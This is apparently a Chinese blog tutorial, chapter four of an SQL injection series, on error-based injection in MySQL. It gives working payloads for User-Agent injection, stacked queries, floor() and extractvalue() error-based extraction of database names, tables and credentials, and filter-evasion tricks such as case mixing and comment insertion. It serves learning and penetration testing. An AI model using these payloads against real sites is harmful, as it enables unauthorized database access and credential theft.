SQL渗透与防御——(四)基于报错注入

第四章 基于报错注入

1.User-Agent注入

  • 修改消息头的User-Agent参数

    单引号报错判断
    在这里插入图片描述

  • 推测语句

其源码有可能是insert into tablename value(1,2)

那么就要闭合value()中的右括号a',(select database())) #
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在这里插入图片描述

2.Stacked queries堆叠注入

#可以执行多条SQL语句
select * from user;select * from user where id=1;
#企业全备
mysqldump -uroot -p sql_inject database_name > /tmp/a.sql
mysqldump -uroot -p -A -R -E --triggers --master-data=2 --single-transaction > full.sql

3.Error-based注入

利用MySQL的逻辑漏洞

常用函数:floor() updatexml() extractvalue()

1.Error-based floor()

rand()返回一个随机数;floor(x)返回一个小于x的整数;count()计数 select count(*),floor(rand(0)*2)x from products group by x;表里的数据要大于3

  • 获取数据库名
1' union select 1,2,3,4,5,count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x #

select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor  取float的整数值
#rang   取0-1之间随机浮点值
#group by   对结果集进行排序
select verson()就是我们用来做sql注入的语句

在这里插入图片描述
在这里插入图片描述

  • 获取表名
 #第一张表
 #由于结果可能只显示一行,所以用limit函数来逐行显示
 1' union select 1,2,3,4,5,count(*),concat((select table_name from information_schema.`TABlES` where table_schema=database() limit 0,1) ,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #

在这里插入图片描述

  • 获取字段名
  • 获取所需字段的值(用户名/密码)

2.基于Xpath报错

' and extractvalue(1,concat(0x7e,(select database()),0x7e,(select user()))) #

#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的’错误’字符串

在这里插入图片描述

3.混淆和绕过

绕过检测和过滤

  • 混淆注入
 #关键字代换
 or——————>||,and——————>&&,=——————>like
 where id=1——————>limit 0,1
 limit 0,1——————>group by id having id=1
 #大小写转换 
 union——————>UniOn
 #字符串拼接
 union——————>UNunionION	#仅适用于服务端只对字符处理只一次
 #转义
  ——————>%20, ——————>/**/
 union——————>/*!union*/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值